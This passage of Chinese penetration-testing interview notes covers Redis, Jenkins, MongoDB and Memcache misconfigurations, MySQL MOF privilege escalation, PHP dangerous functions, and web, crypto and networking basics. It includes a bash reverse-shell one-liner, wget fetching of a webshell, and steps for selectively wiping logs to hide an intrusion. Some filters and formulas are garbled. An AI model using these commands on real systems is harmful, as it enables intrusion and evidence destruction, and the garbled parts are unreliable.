其中的第18行的命令,上傳前請自己更改。
2、執行load_file及into dumpfile把文件導出到正確的位置即可。
select load file(‘c:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mov’
執行成功后,即可添加一個普通用戶,然后你可以更改命令,再上傳導出執行把用戶提升到管理員權限,然后3389連接之就ok了。
十九、特殊漏洞
1、Struts2-045
2、Redis未授權
產生原因
Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器
利用條件和方法
條件:
a、redis服務以root賬戶運行
b、redis無密碼或弱密碼進行認證
c、redis監聽在0.0.0.0公網上
方法:
a、通過 Redis 的 INFO 命令, 可以查看服務器相關的參數和敏感信息, 為攻擊者的后續滲透做鋪墊
b、上傳SSH公鑰獲得SSH登錄權限
c、通過crontab反彈shell
d、slave主從模式利用
修復
密碼驗證
降權運行
限制ip/修改端口
3、Jenkins未授權訪問
4、MongoDB未授權訪問
攻擊者通過未授權訪問進入腳本命令執行界面執行攻擊指令
println “ifconfig -a”.execute().text 執行一些系統命令,利用wget下載webshell
開啟MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,而且可以遠程訪問數據庫,登錄的用戶可以通過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操作。
防護
為MongoDB添加認證:1)MongoDB啟動時添加–auth參數 2)給MongoDB添加用戶:use admin #使用admin庫 db.addUser(“root”, “123456”) #添加用戶名root密碼123456的用戶 db.auth(“root”,“123456”) #驗證下是否添加成功,返回1說明成功 2、禁用HTTP和REST端口 MongoDB自身帶有一個HTTP服務和并支持REST接口。在2.6以后這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,一般不需要通過web方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇–nohttpinterface 參數nohttpinterface=false 3、限制綁定IP 啟動時加入參數 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下內容:bind_ip = 127.0.0.1
5、Memcache未授權訪問
Memcached是一套常用的key-value緩存系統,由于它本身沒有權限控制模塊,所以對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者通過命令交互可直接讀取Memcached中的敏感信息。
利用
a、登錄機器執行netstat -an |more命令查看端口監聽情況。回顯0.0.0.0:11211表示在所有網卡進行監聽,存在memcached未授權訪問漏洞。
b、telnet 11211,或nc -vv 11211,提示連接成功表示漏洞存在
漏洞加固
a、設置memchached只允許本地訪問 b、禁止外網訪問Memcached 11211端口 c、編譯時加上–enable-sasl,啟用SASL認證
6、FFMPEG本地文件讀取
原理
通過調用加密API將payload加密放入一個會被執行的段字節中。但是具體回答工程中我只回答道了SSRF老洞,m3u8頭,偏移量,加密。
二十、安全知識
1、WEB
常見WEB開發JAVA框架
STRUTS,SPRING 常見的java框架漏洞 其實面試官問這個問題的時候我不太清楚他要問什么,我提到struts的045 048,java常見反序列化。045 錯誤處理引入了ognl表達式 048 封裝action的過程中有一步調用getstackvalue遞歸獲取ognl表達式 反序列化 操作對象,通過手段引入。apache common的反射機制、readobject的重寫,其實具體的我也記不清楚。。。然后這部分就結束了
同源策略
同源策略限制不同源對當前document的屬性內容進行讀取或設置。不同源的區分:協議、域名、子域名、IP、端口,以上有不同時即不同源。
Jsonp安全攻防技術,怎么寫Jsonp的攻擊頁面
涉及到Jsonp的安全攻防內容
JSON劫持、Callback可定義、JSONP內容可定義、Content-type不為json。
攻擊頁面
JSON劫持,跨域劫持敏感信息,頁面類似于
function wooyun(v){
alert(v.username);
}
Content-type不正確情況下,JSONP和Callback內容可定義可造成XSS。JSONP和FLASH及其他的利用參照知道創宇的JSONP安全攻防技術。
2、PHP
php中命令執行涉及到的函數
代碼執行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下繞過php的disable fuction
DL函數,組件漏洞,環境變量。
PHP弱類型
== 在進行比較的時候,會先將字符串類型轉化成相同,再比較
如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值并且比較按照數值來進行
0e開頭的字符串等于0
3、數據庫
各種數據庫文件存放的位置
mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data
oracle: O R A C L E B A S E / o r a d a t a / ORACLE_BASE/oradata/ ORACLEB?ASE/oradata/ORACLE_SID/
4、系統
如何清理日志
meterpreter: clearev
入侵 Linux 服務器后需要清除哪些日志?
web日志,如apache的access.log,error.log。直接將日志清除過于明顯,一般使用sed進行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history命令的清除,也是對~/.bash_history進行定向清除
wtmp日志的清除,/var/log/wtmp
登錄日志清除 /var/log/secure
LINUX
查看當前端口連接的命令有哪些?netstat 和 ss 命令的區別和優缺點
netstat -antp ss -l
ss的優勢在于它能夠顯示更多更詳細的有關TCP和連接狀態的信息,而且比netstat更快速更高效。
反彈 shell 的常用命令?一般常反彈哪一種 shell?為什么?
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
通過Linux系統的/proc目錄 ,能夠獲取到哪些信息,這些信息可以在安全上有哪些應用?
ls /proc
系統信息,硬件信息,內核版本,加載的模塊,進程
linux系統中,檢測哪些配置文件的配置項,能夠提升SSH的安全性。
/etc/ssh/sshd___configiptables配置
如何一條命令查看文件內容最后一百行
tail -n 100 filename
Windows
如何加固一個域環境下的Windows桌面工作環境?請給出你的思路。
5、密碼學
AES/DES的具體工作步驟
RSA算法
加密:
密文=明文^EmodN
RSA加密是對明文的E次方后除以N后求余數的過程
公鑰=(E,N)
解密:
明文=密文^DmodN 私鑰=(D,N)
三個參數n,e1,e2
n是兩個大質數p,q的積
分組密碼的加密模式
如何生成一個安全的隨機數?
引用之前一個學長的答案,可以通過一些物理系統生成隨機數,如電壓的波動、磁盤磁頭讀/寫時的尋道時間、空中電磁波的噪聲等。
SSL握手過程
建立TCP連接、客戶端發送SSL請求、服務端處理SSL請求、客戶端發送公共密鑰加密過的隨機數據、服務端用私有密鑰解密加密后的隨機數據并協商暗號、服務端跟客戶端利用暗號生成加密算法跟密鑰key、之后正常通信。這部分本來是忘了的,但是之前看SSL Pinning的時候好像記了張圖在腦子里,掙扎半天還是沒敢確定,遂放棄。。。
對稱加密與非對稱加密的不同,分別用在哪些方面
6、TCP/IP
TCP三次握手的過程以及對應的狀態轉換
(1)客戶端向服務器端發送一個SYN包,包含客戶端使用的端口號和初始序列號x;
(2)服務器端收到客戶端發送來的SYN包后,向客戶端發送一個SYN和ACK都置位的TCP報文,包含確認號xx1和服務器端的初始序列號y;
(3)客戶端收到服務器端返回的SYNSACK報文后,向服務器端返回一個確認號為yy1、序號為xx1的ACK報文,一個標準的TCP連接完成。
TCP和UDP協議區別
tcp面向連接,udp面向報文 tcp對系統資源的要求多 udp結構簡單 tcp保證數據完整性和順序,udp不保證
https的建立過程
a、客戶端發送請求到服務器端
b、服務器端返回證書和公開密鑰,公開密鑰作為證書的一部分而存在
c、客戶端驗證證書和公開密鑰的有效性,如果有效,則生成共享密鑰并使用公開密鑰加密發送到服務器端
d、服務器端使用私有密鑰解密數據,并使用收到的共享密鑰加密數據,發送到客戶端
e、客戶端使用共享密鑰解密數據
f、SSL加密建立
7、流量分析
wireshark簡單的過濾規則
過濾ip:
過濾源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1;
過濾端口:
過濾80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport==80
協議過濾:
直接輸入協議名即可,如http協議http
http模式過濾:
過濾get/post包http.request.mothod==“GET/POST”
8、防火墻
簡述路由器交換機、防火墻等網絡設備常用的幾個基礎配置加固項,以及配置方法。
總結
以上是生活随笔為你收集整理的2022渗透岗位面试(思路篇)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ubuntu server mysql_
- 下一篇: 大数据时代需要转变的思维